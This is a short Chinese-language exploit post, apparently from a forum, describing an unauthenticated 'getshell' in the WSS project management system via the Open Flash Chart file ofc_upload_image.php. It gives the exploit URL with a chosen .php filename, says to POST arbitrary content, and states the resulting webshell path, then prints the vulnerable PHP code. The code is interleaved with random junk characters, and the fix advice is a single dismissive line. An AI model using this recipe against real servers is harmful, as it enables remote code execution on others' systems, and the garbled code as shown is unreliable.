WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_image.php
& V5 k5 T5 Z. F& u5 @
利用：
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名

Post任意数据
8 s) z( x3 P" G& e3 I0 B保存位置http://localhost/chart/tmp-upload-images/hfy.php
, \8 ^5 [& J  }; _! h
$ s5 q& O& u2 i2 b! T/ K& [
- q" g1 R/ c' b+ e最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~

<?php

//
6 y( r% g1 J2 L. k- j// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
" L2 `9 Y- Y) c/ k6 s, k//

7 u' I" @% f9 ?  E% O# C/*

/ @$ v* {* [# T* b  W$ Y: a5 v+ }. ~print_r( $_GET );
- P" M; W! I6 d! Yprint_r( $_POST );
& J% f9 [) P0 a7 Z9 `* iprint_r( $_FILES );

6 l3 n) q  \: l8 q3 E! o8 uprint_r( $GLOBALS );
- ^2 F/ K9 v1 X) N/ ~* Bprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
, h; \% U- ?& j' ^
*/
// default path for the image to be stored //
$default_path = '../tmp-upload-images/';

1 U5 I' S! f! z4 K. G. Sif (!file_exists($default_path)) mkdir($default_path, 0777, true);

4 F0 ?! H0 g! c8 g// full path to the saved image including filename //
2 q& u+ o( x& {7 K$destination = $default_path . basename( $_GET[ 'name' ] );

echo 'Saving your image to: '. $destination;
% C- s' D5 e! c1 y1 J// print_r( $_POST );
, a7 j4 E9 ^5 I7 Q! ~// print_r( $_SERVER );
( F+ `5 N4 ?; `5 k9 u; m// echo $HTTP_RAW_POST_DATA;

$ Z4 `0 A* Z# {1 m4 ?! [//
( m6 \1 F7 W9 X% D2 ^// POST data is usually string data, but we are passing a RAW .png
; w+ y) A8 x3 R# x// so PHP is a bit confused and $_POST is empty. But it has saved
7 T1 M1 v( @1 g/ {5 S3 E5 v// the raw bits into $HTTP_RAW_POST_DATA
! n& F  L, L+ K- u4 X//

6 j/ s$ S" o! E0 a3 t+ s8 n$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
5 y: E/ j+ O1 }' U" r) N) pfclose($jfh);

9 Q% k0 i9 s8 p1 j+ K  k//
// LOOK:
. x3 y% B# ^- R6 x8 I- P  y% _//
exit();
  q1 R, s& R$ {5 i: X, V//
2 u1 S) p, ?; q3 y' F* l0 l// PHP5:
//

2 y8 _/ `; w4 \2 |
4 M' J5 U, T1 \' h) j+ B// default path for the image to be stored //
$default_path = 'tmp-upload-images/';

$ f- @! r: @* Q9 {+ jif (!file_exists($default_path)) mkdir($default_path, 0777, true);

// full path to the saved image including filename //
" [1 z3 D( v* L) o; P+ d$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
; d; D1 M0 b( g
/ l, U5 p8 \. s9 G// move the image into the specified directory //
# R& G5 f6 \( E6 b( M. C. l+ Q. \if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
" \6 m, c& m4 Y+ n; z: X6 K* _: A' c    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
} else {
# E, L8 N( k5 u, b) y    echo "FILE UPLOAD FAILED";
" }$ D. |' K( x% w% g* u' @* B}
- r0 P% W! n/ H/ \6 X

4 h6 u& V" H, ~* U: E" T?>


) g9 o. o3 K$ a- D/ z: R


, n% ~, S$ p, t. W1 ], V
* U( S$ j9 T$ R( ?4 c' O0 ^5 a4 E( T修复方案：
这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞
1 R! T9 G. @6 Y+ ~$ I& H3 x1 y  f
4 U/ e+ {! U" X% y

0 k' l8 ^0 k+ c/ X6 l